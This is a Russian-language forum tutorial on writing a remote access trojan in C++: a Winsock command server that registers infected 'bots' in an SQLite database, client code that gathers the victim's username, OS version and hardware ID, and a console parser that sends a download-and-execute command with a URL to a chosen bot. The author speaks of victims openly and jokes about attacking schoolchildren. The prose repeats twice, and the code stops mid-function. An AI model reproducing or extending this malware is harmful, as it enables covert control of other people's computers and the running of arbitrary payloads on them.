Предварительная подготовка:
Изначально при создании клиент-серверного приложения, а именно это представляет из себя крыска, мы будем начинать с проектирования базы данных для хранения информации о наших ботах, такой как имя атакуемого пользователя, того как называется его пк(а это очень даже пригодится), и какой-нибудь уникальной метки, которая будет достаточно уникальной для того что бы мы могли считать разными машины, где будут повторяться первые две записи, что бы сами не запутались, и не запутали наш сервер, отдавая команду одному боту - которую может перехватить другой.
Для создания баз данных sqlite3 я пользуюсь достаточно удобной и бесплатной программой DB Browser (SQLite). Скачайте ее или используйте любой доступный вам аналог. Для начала нам нужно посмотреть на интерфейс ее и оценить бесконечные вариации возможностей:
Красная стрелочка это кнопка для создания новой базы данных, синяя указывает но то где мы будем создавать различные ключи для хранения нашей информации.
Смело тыкаем на кнопку - создания базы данных, придумываем имя для нашей базы, у меня она будет называться «bots.db» если у вас как то по другому и вы ничего не понимаете в программировании, просто делайте как это делаю я и всё будет хорошо. Нажимаете кнопку «Сохранить» и у вас автоматически откроется новое окно где вы можете:
Синяя стрелка - придумать имя таблицы в этой базе данных, у меня она будет называться «BOT»; Красная стрелка - добавить поля в эту таблицу, что бы сохранять в будущем информацию именно в них. Фиолетовая стрелка вам в качестве бонуса, тут делать ничего не нужно, просто она покажет какой «sql» запрос сгенерировала программа, для того что бы создать таблицу и поля, может если вы крутой хакер, вы можете добавить в неё дополнительные команды на свой вкус.
Сейчас распишу за что отвечает каждое конкретное поле: NOMER - это число которое будет не равно нулю, и будет отвечать за номер элемента в массиве сокетов SOCKETS в самом коде сервера. То есть, каждой записи в таблице будет соответствовать свой сокет в этом массиве, так я обычно делаю, что бы избавиться от лишней головомойки. Если вы лично считаете что это плохо, то я бы готов услышать альтернативные варианты и научится чему то новому, но пока это так и будет продолжаться пока не будет доступных альтернатив, тем более у нас не убер-вафле-панцер, а нормальный такой ратник, где мы общаемся с клиентом онлайн.
Про поля USERNAME, OSVER, HWID, OTVET вы уже знаете, они будут текстовыми, потому что так пока что мне хочется и это надо в будущем. В данной программе выставляем всё как у меня и нажимаем на кнопку сохранить, а так же сохраняем в интерфейсе нашу базу данных, и двигаемся дальше...
Во вкладке «Данные» вы можете увидеть редактор информации в нашей созданной таблице, где каждому полю, столбцу в полях будут соответствовать различные записи, которые вы можете добавить самостоятельно (синяя стрелка), либо же удалить их (красная стрелка соответственно).
Поле которое я очертил красным будет в будущем содержать записи с вашими ботами, которые удалить, просмотреть, но это уже не важно, мы двигаемся дальше.
Начинаем создавать проект, я буду использовать VS 2015, компилировать проект под x86 архитектуру.
Создам проект, называем его как-нибудь очень по крутому, так делают настоящие хакеры (шучу конечно).
Выбираем проект Win32, тыкаем кнопку - «ОК», затем в открывшимся окне, нажимаем кнопку «Далее», в следующем окне, вы делаете все как я в ам скажу, по порядку - тыкаем где синяя стрелка на «Консольное приложение», потом где Фиолетовая стрелка на «Предварительно скомпилированный заголовок», затем убираем галочку на «Проверках жизненного цикла», и там где красная стрелка - отмечаем «Пустой проект», нажимаем на кнопку «Готово».
Коденг:
Секунды загрузки и вы переноситесь в редактор, где мы будем прибывать большую часть нашего времени. Немного пройдёмся по интерфейсу, а дальше начнём писать код сервера.
Слева на право по порядку - Оранжевая стрелка (не лимонно-лаймовая) открывает нам контекстное меню с очень полезной кнопкой «Собрать решение», Зеленная стрелка с выпадающим списком из того что вы можете сделать с вашим проектом, например - создать версию для дебага или релизную для использования в дикой природе, или выбрать архитектуру для вашего приложения например x86 или X64; Фиолетовая стрелка - то место где будут открываться ваши файлы - что то наподобие прокаченного текстового редактора для кода. Бирюзовая стрелка указывает на файл проекта, если жмякнуть на неё правой кнопкой мыши, то выпадает контекстное меню с очень полезными настройками под кнопкой «Свойства», это будут свойства нашего проекта, в которые мы обязательно ещё залезем в рамках данной статьи.
Синяя стрелка указывает на папку(хотя это не папка) «Заголовочные файлы» в ней мы будем как бы хранить заголовки нашего проекта(*.h;*.hpp и так далее), их будет не много, но это важно. Красная стрелка указывает на «Файлы исходного кода», где как бы мы будем хранить код нашего сервера или ратника(клиента), файлы будут добавляться согласно расширению (*.c;*.cpp и так далее).
Жмякнем правой кнопкой на «Файлы исходного кода», и выберем поле «Добавить» - «Создать элемент»,
Выбираем поле «Файл С++» и нажимаем кнопку «Добавить», и у нас открывается новая страница в редакторе, где мы и будем творить бесчинства, дальнейший текст уже требует обладанием больших навыков чем чтение, так что ребята, дальше разжёвывать для 0 больше не могу.
Мы приступаем к созданию сервера! Урааа!
Добавляем заголовочный файл сокетов для вин32, добавляем в линковку ws2_32.lib, и создаём функцию main.
Ну что ребят, давайте придумаем согласно нашей таблице первые структуры данных, первые переменные и функции для обработки поступающих данных.
Я объявлю новую глобальную переменную перед функцией мейн - массив сокетов DWORD SOCKETS[10000], в которые буду сохранять по номерам из базы данных, сокеты подключившихся клиентов, например так:
«Если значение NOMER в базе данных которому соответствует USERNAME, OSVER, HWID равно 1, то сокет подключения сохраняется в SOCKETS[1], если номер равен 2, то естественно SOCKETS[2], и так далее - SOCKETS[NOMER]. Примерно логику работы подключений вы поняли, теперь нам нужно создать структуру данных отвечающую за регистрацию пользователя. А теперь к ней у старших по форуму и кодингу могут быть претензии, в данном продукте мне очень важно что бы передавались имена пользователя, версии ос и хвид в чарах, так как на самом деле, проект пишется под linux, а клиент под виндовс тут будет написан только в рамках этой статьи (будьте лапушками, это не повлияет никак на работоспособность данного софта).
Объявляем структуру для клиентов:
Теперь мы можем переделать наш массив SOCKETS[10000] под массив из структур CLIENTS и будет он выглядеть так:
Правда же получается удобно и замечательно? Мне тоже так кажется, теперь мы можем хранить данные ботов в озу, и обращаться к ним при манипуляциях с базой данных и тому подобных операциях. Так как в рамках данной статьи мы работаем на сокетах, то давайте попробуем, инициализировать необходимые структуры для winsock, а так же поставить наш сервер на прослушивание входящих сообщений, от клиентов:
Наш сервер будет прослушивать все входящие соединения со всех IP на данном компьютере(дедике, сервере) на восьмидесятом порту. У вас получится как у меня на скриншоте:
Далее нам будет необходимо поставить создать ещё одну структуру, которая будет отвечать за протокол общения нашего сервера с клиентами, и назовём её просто:
Первое поле структуры у нас отвечает за номер команды - например хейдшейк у нас будет с номером 0, а запрос на загрузку файла - 1. Так мы сможем отличать типы данных которые к нам приходят во втором поле - DATA, а в ней мы можем хранить другие структуры, например CLIENTS. Давайте представим что к нам подключился новый клиент, после подключения, он отправляет нам «рукопожатие», в виде структуры СMDiDATA, где CMD = 0, а DATA = CLIENTS, CLIENTS мы можем разобрать на данные USERNAME, OSVER, HWID, в соответствии с максимальным номером + 1 в таблице базы данных которую мы создавали, присвоить полю NUMBER в структуре CLIENTS сокет и сохранить эту структуру как зарегистрированную в массив SOCKETS под новым номером, что бы далее с ней играться как нам вздумается. Давайте это и сделаем!
Далее мы просто смотрим чему будет равно поле CMD, если будет равно нулю, то мы можем сказать точно, что внутри должны находиться данные со структурой CLIENTS, а значит мы сможем спокойно скопировать данные DATA в client и работать с полученными данными уже в базе данных. Немного отступлю и расскажу о том что данный код в первозданном виде - небезопасен, потому что атакующий ваш ратник может отослать sql инъекцию в данных структурах, и просто дропнуть вашу таблицу. Будьте аккуратны, потому что я вам в рамках данной статьи рассказываю о построении серверной и клиентской части независимо от безопасности, данный код служит примером, и ни чем более.
Перейдём к нашим баранам. Теперь мы можем получить данные о клиенте, всего лишь обращаясь к полям этой структуры:
Закинем в папку с нашим проектом два файла отвечающих за работу с нашей базой данных, давайте добавим их в проект
В заголовочные файлы мы добавим sqlite3.h
В файлы исходного кода добавим соответственно sqlite3.с
В файле Source.cpp, где мы пишем код - добавим объявление заголовочного файла
#include “sqlite3.h”
И приступаем к написанию запросов к нашей базе данных, будем выяснять - а зарегистрировали ли уже этот клиент, а если он не зарегистрирован, то какой крайний номер в этой базе данных записей, и когда узнаем этот номер, мы прибавим к нему единичку и зарегистрируем в этой базе данных (интерпола) новичка (как я на этом форуме), под новым номером, и запишем в неё эти данные.
Во первых при инициализации WSADataв коде, мы еще добавим открытие базы данных:
Что бы могли считывать и отправлять в неё данные c помощью sql запросов. А далее мы пишем код по регистрации нашего бота в базе данных, я оставляю комментарии, что бы вам было максимально удобно:
Красная стрелка - выражение для того что бы узнать есть ли тот юзер в базе данных и если он есть - то получить номер его в таблице, Синяя стрелка - если юзер в бд присутствует, то мы обновляем его статус на онлайн, Зеленная стрелка - если юзера ещё нет в бд, то мы получаем максимальное число NOMER из таблицы, плюсуем к нему единичку, и создаём новую запись в базе данных как нового клиента. Таким образом мы завершили регистрацию юзера в базе данных, но ещё не в самой программе, что бы это сделать мы должны присвоить присвоить структуру клиента в массив клиентов:
Таким образом мы сохранили нашего клиента, и можем обращаться к нему напрямую что бы получать и отправлять ему различные команды.
Давайте немного теперь коснёмся потоков в winapi, написанию консольных приложений, и о том как мы будем все это вместе миксовать на сервере...
Для того что бы наш сервер мог работать с клиентами, например, узнавать что они онлайн, и мы друг другу (в смысле я атакующий школьников и сервер) не мешали, нам нужно создать отдельную функцию в отдельном потоке, например - функцию isOnline:
Где мы будем, проверять статус клиентов которые онлайн - каждые десять секунд, и если им не удалось отправить сообщение, значит - наши клиенты офалайн, и работать с ними уже нельзя. Фиолетовая стрелка sql запрос на получение всех клиентов с ответом = 1, Красной стрелкой указаны две дополнительных функции, которые RecvStat - просто функция которая возращает булевое значение - тру или фолс, после того как с помощью третей функции sendint пытается отослать число 0. Синей помечены возвращаемые значения, если функция send из библиотеки winsock смогла отослать число или нет.
А функцию проверки на онлайн мы будем вызывать при инициализации нашего сервера, в отдельном потоке:
Итак уже все готово в принципе для того что бы мы попробовали сделать нашего клиента, давайте создадим новый проект для него по такой же схеме как мы создавали его для сервера, и именно скопируем в Source.cpp проекта ратника все структуры которые мы объявляли для протокола и клиента, важно что бы они были идентичны, что в ратнике, что на сервере:
Далее мы инициализируем винсок, и конечно же попытаемся подключится к серверу:
Красной стрелочкой отмечен порт по которому мы подключаемся к серверу, а синей адрес в интернете, если подключение с помощью функции connect будет удачным, и равно нулю, мы пойдём дальше отсылать данные серверу в наших импровизированных структурах.
Красным квадратом я выделил, то как мы заполняем структуру клиента, синим как мы присваиваем структуре протокола номер команды и копируем структуру клиента в массив чаров indata.DATA. Фиолетовый квадрат у нас отсылка структуры indata на сервер. После отсылки я закрываю сокет так как он нам пока не нужен, но закрытие его нужно для тестировании функции которая будет отвечать за проверку клиента на онлайн, те закрыв данный сокет в клиенте, мы отсоединились от сервера таким вот образом и стали офлайн.
По данной ссылке я загрузил видео на мегу, для того что бы вы могли посмотреть предварительный тест приложения, в данном виде.
Если вам не интересно, скажу то что все в видео хорошо
В клиенте мы добавляли рандомные данные, для того что бы получать действительно данные компьютера жертвы, нам нужно создать три отдельных функции для ХВИД, ЮСЕРНЕЙМА, ВЕРСИИОС. Что бы получить версию ос, я подключу заголовочный файл ntdll.h к проекту клиента, в заголовочные файлы, для того что бы я мог воспользоваться набором структур, и вытащить из PEB нужные данные.
Создаю крутую функцию что бы получить из Пеба (Почитайте про него подробнее статьи у XShar) номер версии ос:
Далее создаю ещё две функции для получения имени юзера и хвида, всё в принципе идеально, и можно уже вызвать эти функции и отправить их серверу:
Так теперь считаем что с клиентом мы пока закончили, теперь вернёмся к серверу, и научим его принимать команды от нас, а так же отдавать их клиенту
Создадим функцию, которая как и функция проверки на онлайн будет вертеться у нас в отдельном потоке:
Такую функцию которая будет считывать наш ввод с клавиатуры и разбирать его на отдельные прикольные команды, и отсылать эти команды клиенту...
Теперь научимся парсить из консоли команду которую хотим отослать боту, для этого нужно придумать как мы будем её печатать, допустим первые три символа у нас будет «сmd», далее у нас будет номер клиента «1», следующим у нас будем какая-нибудь команда например на загрузку файла, а потом ссылка на этот файл и разделено все будет двоеточием «:»:
Давайте приступим к реализации… Создадим структуру которая будет отвечать за хранение URL, будет все тоже самое как и в CLIENT:
А далее мы будем развивать парсинг команды которую мы ввели:
В клиенте же мы можем создать тред приема сообщений:
И заставить программу ожидать пока этот тред не завершится:
А так же для того что бы обрабатывать отдельно каждую команду ведь она может выполняться бесконечно из за любых ошибок и в коде, и в командах, то мы можем создать отдельный тред в RecvThread:
Который будет выполнять Хеллоу Ворд функцию, из чисто визуальных соображений:
Думаю на этом можно закончить эту статью или лучше оформить как первую часть(? вообщем зависит от ваших комментариев), ведь писать можно бесконечно долго, но я считаю, что для новичков я объяснил хотя бы базовые основы Winsock, рассказал базу потоков, и создал нормальную основу клиент серверного приложения, функционал в который можно добавлять бесконечно по вашему усмотрению. Все файлы будут лежать на гитхабе, а видео с конечными испытаниями того что получилось тут. А гитхаб тут.
Будьте классными
Изначально при создании клиент-серверного приложения, а именно это представляет из себя крыска, мы будем начинать с проектирования базы данных для хранения информации о наших ботах, такой как имя атакуемого пользователя, того как называется его пк(а это очень даже пригодится), и какой-нибудь уникальной метки, которая будет достаточно уникальной для того что бы мы могли считать разными машины, где будут повторяться первые две записи, что бы сами не запутались, и не запутали наш сервер, отдавая команду одному боту - которую может перехватить другой.
Для создания баз данных sqlite3 я пользуюсь достаточно удобной и бесплатной программой DB Browser (SQLite). Скачайте ее или используйте любой доступный вам аналог. Для начала нам нужно посмотреть на интерфейс ее и оценить бесконечные вариации возможностей:
Красная стрелочка это кнопка для создания новой базы данных, синяя указывает но то где мы будем создавать различные ключи для хранения нашей информации.
Смело тыкаем на кнопку - создания базы данных, придумываем имя для нашей базы, у меня она будет называться «bots.db» если у вас как то по другому и вы ничего не понимаете в программировании, просто делайте как это делаю я и всё будет хорошо. Нажимаете кнопку «Сохранить» и у вас автоматически откроется новое окно где вы можете:
Синяя стрелка - придумать имя таблицы в этой базе данных, у меня она будет называться «BOT»; Красная стрелка - добавить поля в эту таблицу, что бы сохранять в будущем информацию именно в них. Фиолетовая стрелка вам в качестве бонуса, тут делать ничего не нужно, просто она покажет какой «sql» запрос сгенерировала программа, для того что бы создать таблицу и поля, может если вы крутой хакер, вы можете добавить в неё дополнительные команды на свой вкус.
Сейчас распишу за что отвечает каждое конкретное поле: NOMER - это число которое будет не равно нулю, и будет отвечать за номер элемента в массиве сокетов SOCKETS в самом коде сервера. То есть, каждой записи в таблице будет соответствовать свой сокет в этом массиве, так я обычно делаю, что бы избавиться от лишней головомойки. Если вы лично считаете что это плохо, то я бы готов услышать альтернативные варианты и научится чему то новому, но пока это так и будет продолжаться пока не будет доступных альтернатив, тем более у нас не убер-вафле-панцер, а нормальный такой ратник, где мы общаемся с клиентом онлайн.
Про поля USERNAME, OSVER, HWID, OTVET вы уже знаете, они будут текстовыми, потому что так пока что мне хочется и это надо в будущем. В данной программе выставляем всё как у меня и нажимаем на кнопку сохранить, а так же сохраняем в интерфейсе нашу базу данных, и двигаемся дальше...
Во вкладке «Данные» вы можете увидеть редактор информации в нашей созданной таблице, где каждому полю, столбцу в полях будут соответствовать различные записи, которые вы можете добавить самостоятельно (синяя стрелка), либо же удалить их (красная стрелка соответственно).
Поле которое я очертил красным будет в будущем содержать записи с вашими ботами, которые удалить, просмотреть, но это уже не важно, мы двигаемся дальше.
Начинаем создавать проект, я буду использовать VS 2015, компилировать проект под x86 архитектуру.
Создам проект, называем его как-нибудь очень по крутому, так делают настоящие хакеры (шучу конечно).
Выбираем проект Win32, тыкаем кнопку - «ОК», затем в открывшимся окне, нажимаем кнопку «Далее», в следующем окне, вы делаете все как я в ам скажу, по порядку - тыкаем где синяя стрелка на «Консольное приложение», потом где Фиолетовая стрелка на «Предварительно скомпилированный заголовок», затем убираем галочку на «Проверках жизненного цикла», и там где красная стрелка - отмечаем «Пустой проект», нажимаем на кнопку «Готово».
Коденг:
Секунды загрузки и вы переноситесь в редактор, где мы будем прибывать большую часть нашего времени. Немного пройдёмся по интерфейсу, а дальше начнём писать код сервера.
Слева на право по порядку - Оранжевая стрелка (не лимонно-лаймовая) открывает нам контекстное меню с очень полезной кнопкой «Собрать решение», Зеленная стрелка с выпадающим списком из того что вы можете сделать с вашим проектом, например - создать версию для дебага или релизную для использования в дикой природе, или выбрать архитектуру для вашего приложения например x86 или X64; Фиолетовая стрелка - то место где будут открываться ваши файлы - что то наподобие прокаченного текстового редактора для кода. Бирюзовая стрелка указывает на файл проекта, если жмякнуть на неё правой кнопкой мыши, то выпадает контекстное меню с очень полезными настройками под кнопкой «Свойства», это будут свойства нашего проекта, в которые мы обязательно ещё залезем в рамках данной статьи.
Синяя стрелка указывает на папку(хотя это не папка) «Заголовочные файлы» в ней мы будем как бы хранить заголовки нашего проекта(*.h;*.hpp и так далее), их будет не много, но это важно. Красная стрелка указывает на «Файлы исходного кода», где как бы мы будем хранить код нашего сервера или ратника(клиента), файлы будут добавляться согласно расширению (*.c;*.cpp и так далее).
Жмякнем правой кнопкой на «Файлы исходного кода», и выберем поле «Добавить» - «Создать элемент»,
Выбираем поле «Файл С++» и нажимаем кнопку «Добавить», и у нас открывается новая страница в редакторе, где мы и будем творить бесчинства, дальнейший текст уже требует обладанием больших навыков чем чтение, так что ребята, дальше разжёвывать для 0 больше не могу.
Мы приступаем к созданию сервера! Урааа!
C++:
#include "winsock.h"
#pragma comment(lib, "ws2_32")
int main()
{
}
Добавляем заголовочный файл сокетов для вин32, добавляем в линковку ws2_32.lib, и создаём функцию main.
Ну что ребят, давайте придумаем согласно нашей таблице первые структуры данных, первые переменные и функции для обработки поступающих данных.
Я объявлю новую глобальную переменную перед функцией мейн - массив сокетов DWORD SOCKETS[10000], в которые буду сохранять по номерам из базы данных, сокеты подключившихся клиентов, например так:
«Если значение NOMER в базе данных которому соответствует USERNAME, OSVER, HWID равно 1, то сокет подключения сохраняется в SOCKETS[1], если номер равен 2, то естественно SOCKETS[2], и так далее - SOCKETS[NOMER]. Примерно логику работы подключений вы поняли, теперь нам нужно создать структуру данных отвечающую за регистрацию пользователя. А теперь к ней у старших по форуму и кодингу могут быть претензии, в данном продукте мне очень важно что бы передавались имена пользователя, версии ос и хвид в чарах, так как на самом деле, проект пишется под linux, а клиент под виндовс тут будет написан только в рамках этой статьи (будьте лапушками, это не повлияет никак на работоспособность данного софта).
Объявляем структуру для клиентов:
C++:
struct CLIENTS
{
SOCKET NUMBER;
char USERNAME[100];
char OSVER[100];
char HWID[100];
};
Теперь мы можем переделать наш массив SOCKETS[10000] под массив из структур CLIENTS и будет он выглядеть так:
C++:
CLIENTS SOCKETS[10000];
Правда же получается удобно и замечательно? Мне тоже так кажется, теперь мы можем хранить данные ботов в озу, и обращаться к ним при манипуляциях с базой данных и тому подобных операциях. Так как в рамках данной статьи мы работаем на сокетах, то давайте попробуем, инициализировать необходимые структуры для winsock, а так же поставить наш сервер на прослушивание входящих сообщений, от клиентов:
C++:
SOCKET sListen;
sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(80);
int sizeofaddr = sizeof(addr);
sListen = socket(AF_INET, SOCK_STREAM, NULL);
bind(sListen, (SOCKADDR*)&addr, sizeofaddr);
listen(sListen, SOMAXCONN);
{
}
Наш сервер будет прослушивать все входящие соединения со всех IP на данном компьютере(дедике, сервере) на восьмидесятом порту. У вас получится как у меня на скриншоте:
Далее нам будет необходимо поставить создать ещё одну структуру, которая будет отвечать за протокол общения нашего сервера с клиентами, и назовём её просто:
C++:
struct CMDiDATA
{
DWORD CMD;
char DATA[1000];
};
Первое поле структуры у нас отвечает за номер команды - например хейдшейк у нас будет с номером 0, а запрос на загрузку файла - 1. Так мы сможем отличать типы данных которые к нам приходят во втором поле - DATA, а в ней мы можем хранить другие структуры, например CLIENTS. Давайте представим что к нам подключился новый клиент, после подключения, он отправляет нам «рукопожатие», в виде структуры СMDiDATA, где CMD = 0, а DATA = CLIENTS, CLIENTS мы можем разобрать на данные USERNAME, OSVER, HWID, в соответствии с максимальным номером + 1 в таблице базы данных которую мы создавали, присвоить полю NUMBER в структуре CLIENTS сокет и сохранить эту структуру как зарегистрированную в массив SOCKETS под новым номером, что бы далее с ней играться как нам вздумается. Давайте это и сделаем!
Код:
for (;;) //цикл приема клиентов - он будет ожидать выполнения accept
{
sockaddr_in addr; //в другой раз объясню зчм
//при подключении нового клиента каждый раз наша функция accept будет срабатывать
//и новый клиент будет регистрироваться под сокетом newConn
SOCKET newConn = accept(sListen, (sockaddr*)&addr, &sizeofaddr);
{
CMDiDATA indata; //создаем структуру отвечающую за протокол
CLIENTS client; //создаем структуру отвечающую за инфу о клиенте
memset(&indata, 0, sizeof(CMDiDATA)); //почистим
memset(&client, 0, sizeof(CLIENTS)); //почистим
recv(newConn, (char*)&indata, sizeof(CMDiDATA), 0); //прием сообщения от клиента
if (indata.CMD == 0) //если CMD = 0, то это хендшейк
{
memcpy(&client, indata.DATA, sizeof(CLIENTS)); //копируем DATA в структуру client
}
}
}
Далее мы просто смотрим чему будет равно поле CMD, если будет равно нулю, то мы можем сказать точно, что внутри должны находиться данные со структурой CLIENTS, а значит мы сможем спокойно скопировать данные DATA в client и работать с полученными данными уже в базе данных. Немного отступлю и расскажу о том что данный код в первозданном виде - небезопасен, потому что атакующий ваш ратник может отослать sql инъекцию в данных структурах, и просто дропнуть вашу таблицу. Будьте аккуратны, потому что я вам в рамках данной статьи рассказываю о построении серверной и клиентской части независимо от безопасности, данный код служит примером, и ни чем более.
Перейдём к нашим баранам. Теперь мы можем получить данные о клиенте, всего лишь обращаясь к полям этой структуры:
C++:
client.HWID;
client.OSVER;
client.USERNAME;
Закинем в папку с нашим проектом два файла отвечающих за работу с нашей базой данных, давайте добавим их в проект
В заголовочные файлы мы добавим sqlite3.h
В файлы исходного кода добавим соответственно sqlite3.с
В файле Source.cpp, где мы пишем код - добавим объявление заголовочного файла
#include “sqlite3.h”
И приступаем к написанию запросов к нашей базе данных, будем выяснять - а зарегистрировали ли уже этот клиент, а если он не зарегистрирован, то какой крайний номер в этой базе данных записей, и когда узнаем этот номер, мы прибавим к нему единичку и зарегистрируем в этой базе данных (интерпола) новичка (как я на этом форуме), под новым номером, и запишем в неё эти данные.
Во первых при инициализации WSADataв коде, мы еще добавим открытие базы данных:
C++:
sqlite3* db;
sqlite3_open("bots.db", &db);
Что бы могли считывать и отправлять в неё данные c помощью sql запросов. А далее мы пишем код по регистрации нашего бота в базе данных, я оставляю комментарии, что бы вам было максимально удобно:
Красная стрелка - выражение для того что бы узнать есть ли тот юзер в базе данных и если он есть - то получить номер его в таблице, Синяя стрелка - если юзер в бд присутствует, то мы обновляем его статус на онлайн, Зеленная стрелка - если юзера ещё нет в бд, то мы получаем максимальное число NOMER из таблицы, плюсуем к нему единичку, и создаём новую запись в базе данных как нового клиента. Таким образом мы завершили регистрацию юзера в базе данных, но ещё не в самой программе, что бы это сделать мы должны присвоить присвоить структуру клиента в массив клиентов:
C++:
SOCKETS[NOMER].NUMBER = newConn;
memcpy(SOCKETS[NOMER].HWID, client.HWID, sizeof(client.HWID));
memcpy(SOCKETS[NOMER].USERNAME, client.USERNAME, sizeof(client.USERNAME));
memcpy(SOCKETS[NOMER].OSVER, client.OSVER, sizeof(client.OSVER));
Таким образом мы сохранили нашего клиента, и можем обращаться к нему напрямую что бы получать и отправлять ему различные команды.
Давайте немного теперь коснёмся потоков в winapi, написанию консольных приложений, и о том как мы будем все это вместе миксовать на сервере...
Для того что бы наш сервер мог работать с клиентами, например, узнавать что они онлайн, и мы друг другу (в смысле я атакующий школьников и сервер) не мешали, нам нужно создать отдельную функцию в отдельном потоке, например - функцию isOnline:
Где мы будем, проверять статус клиентов которые онлайн - каждые десять секунд, и если им не удалось отправить сообщение, значит - наши клиенты офалайн, и работать с ними уже нельзя. Фиолетовая стрелка sql запрос на получение всех клиентов с ответом = 1, Красной стрелкой указаны две дополнительных функции, которые RecvStat - просто функция которая возращает булевое значение - тру или фолс, после того как с помощью третей функции sendint пытается отослать число 0. Синей помечены возвращаемые значения, если функция send из библиотеки winsock смогла отослать число или нет.
А функцию проверки на онлайн мы будем вызывать при инициализации нашего сервера, в отдельном потоке:
C++:
CreateThread(NULL, 0, isOnline, NULL, 0, 0);
Итак уже все готово в принципе для того что бы мы попробовали сделать нашего клиента, давайте создадим новый проект для него по такой же схеме как мы создавали его для сервера, и именно скопируем в Source.cpp проекта ратника все структуры которые мы объявляли для протокола и клиента, важно что бы они были идентичны, что в ратнике, что на сервере:
Далее мы инициализируем винсок, и конечно же попытаемся подключится к серверу:
Красной стрелочкой отмечен порт по которому мы подключаемся к серверу, а синей адрес в интернете, если подключение с помощью функции connect будет удачным, и равно нулю, мы пойдём дальше отсылать данные серверу в наших импровизированных структурах.
Красным квадратом я выделил, то как мы заполняем структуру клиента, синим как мы присваиваем структуре протокола номер команды и копируем структуру клиента в массив чаров indata.DATA. Фиолетовый квадрат у нас отсылка структуры indata на сервер. После отсылки я закрываю сокет так как он нам пока не нужен, но закрытие его нужно для тестировании функции которая будет отвечать за проверку клиента на онлайн, те закрыв данный сокет в клиенте, мы отсоединились от сервера таким вот образом и стали офлайн.
По данной ссылке я загрузил видео на мегу, для того что бы вы могли посмотреть предварительный тест приложения, в данном виде.
Если вам не интересно, скажу то что все в видео хорошо
Создаю крутую функцию что бы получить из Пеба (Почитайте про него подробнее статьи у XShar) номер версии ос:
Далее создаю ещё две функции для получения имени юзера и хвида, всё в принципе идеально, и можно уже вызвать эти функции и отправить их серверу:
C++:
void GetHwid(char** hwid)
{
int CPUInfo[4];
PIP_ADAPTER_INFO pAdapterInfo;
IP_ADAPTER_INFO AdapterInfo[16];
DWORD dwBufLen;
wchar_t mac[8] = { 0x1, 0x2, 0x1, 0x2, 0x1, 0x2, 0x1, 0x2 };
__cpuid(CPUInfo, 0);
dwBufLen = sizeof(AdapterInfo);
GetAdaptersInfo(AdapterInfo, &dwBufLen);
pAdapterInfo = AdapterInfo;
do
{
int i;
for (i = 0; i < 8; i++)
{
mac[i] = mac[i] + pAdapterInfo->Address[i];
}
pAdapterInfo = pAdapterInfo->Next;
} while (pAdapterInfo);
*hwid = (char*)realloc(*hwid, 100);
wsprintfA(*hwid, "%x%x%x%x%x%x%x%x%x%x%x%x",
CPUInfo[0], CPUInfo[1], CPUInfo[2],
CPUInfo[3], mac[0], mac[1],
mac[2], mac[3], mac[4],
mac[5], mac[6], mac[7]);
}
void GetUsername(char** username)
{
DWORD size = UNLEN + 1;
*username = (char*)realloc(*username, UNLEN + 1);
GetUserNameA(*username, &size);
}
void GetOS(char** os)
{
PPEBME pPeb = (PPEBME)__readfsdword(0x30);
*os = (char*)realloc(*os, sizeof(DWORD) * 12);
wsprintfA(*os, "%d.%d.%d", pPeb->NtMajorVersion, pPeb->NtMinorVersion, pPeb->NtBuildNumber);
}
Так теперь считаем что с клиентом мы пока закончили, теперь вернёмся к серверу, и научим его принимать команды от нас, а так же отдавать их клиенту
C++:
DWORD WINAPI ConsoleReader(LPVOID param)
{
while (TRUE)
{
string line = { 0 };
getline(cin, line);
char* mycmd = strdup(line.c_str());
if ((mycmd[0] == 'm' && mycmd[1] == 'a' && mycmd[2] == 'n'))
{
//тут можно напечатать команды которые можно писать в консоли
}
else if ((mycmd[0] == 'c' && mycmd[1] == 'm' && mycmd[2] == 'd'))
{
//тут мы создаем какую нибудь команду и отсылаем ее клиенту
}
else if ((mycmd[0] == 'o' && mycmd[1] == 'n' && mycmd[2] == 'l'))
{
//печатаем всех клиентов онлайн
PrintOnlineClients();
}
else if ((mycmd[0] == 'c' && mycmd[1] == 'l' && mycmd[2] == 's'))
{
//очистим консоль
system("cls");
}
}
}
Такую функцию которая будет считывать наш ввод с клавиатуры и разбирать его на отдельные прикольные команды, и отсылать эти команды клиенту...
Теперь научимся парсить из консоли команду которую хотим отослать боту, для этого нужно придумать как мы будем её печатать, допустим первые три символа у нас будет «сmd», далее у нас будет номер клиента «1», следующим у нас будем какая-нибудь команда например на загрузку файла, а потом ссылка на этот файл и разделено все будет двоеточием «:»:
cmd:1:dle:http://github.com/file.exe
Давайте приступим к реализации… Создадим структуру которая будет отвечать за хранение URL, будет все тоже самое как и в CLIENT:
C++:
struct DLE
{
char URL[1000];
};
А далее мы будем развивать парсинг команды которую мы ввели:
C++:
//тут мы создаем какую нибудь команду и отсылаем ее клиенту
if (mycmd[3] == ':') // если следуший символ двоеточие
{
int NOMER = 0; //создаем число которое изначально будет равно нулю
char NUMCHAR[sizeof(int)]; //создаем массив чаров по размеру числа
memset(NUMCHAR, 0, sizeof(NUMCHAR)); //очищаем его
//создаем цикл в котором будем перебирать символы в команде, пока не наткнемся на двоеточие,
//если символ не равен двоеточию он будет записан в NUMCHAR
int i, j;
for (i = 4, j = 0; ; i++, j++)
{
if (mycmd[i] == ':')
{
break;
}
NUMCHAR[j] = mycmd[i];
}
//конвертируем NUMCHAR в число NOMER
NOMER = atoi(NUMCHAR);
//а теперь начинаем парсить команды команд:) тафталогия но и всё равно
if ((mycmd[i + 1] == 'd' && mycmd[i + 2] == 'l' && mycmd[i + 3] == 'e')) //download and execute - скачать и запустить
{
if (mycmd[i + 4] == ':') //если некст символ равен двоеточию
{
//то начинаем чистать в чары url наш урл из команды
char url[1000];
memset(url, 0, sizeof(url));
int x, y;
for (x = i + 5, y = 0; ; x++, y++)
{
if (mycmd[x] == 0) //пока строка не завершится
{
break;
}
url[y] = mycmd[x];
}
if (url[0] != 0) //если первый символ массива чаров url не равен нулю
{
printf("\n\t zagruzka u vupolnenie url: %s...; NOMER: %d", url, NOMER);
CMDiDATA indata; //создаем структуру отвечающую за протокол
DLE dlecmd; //инициализируем структуру которая будет отвечать за хранение URL
//по сути мы могли бы просто скопировать урл в indata.DATA, но я тут конечно
//немного расширю данную функциональность структуры, так что лучше будет так
memset(&indata, 0, sizeof(CMDiDATA)); //почистим
memset(&dlecmd, 0, sizeof(DLE)); //почистим
memcpy(dlecmd.URL, url, sizeof(url)); //скопируем url в структуру DLE
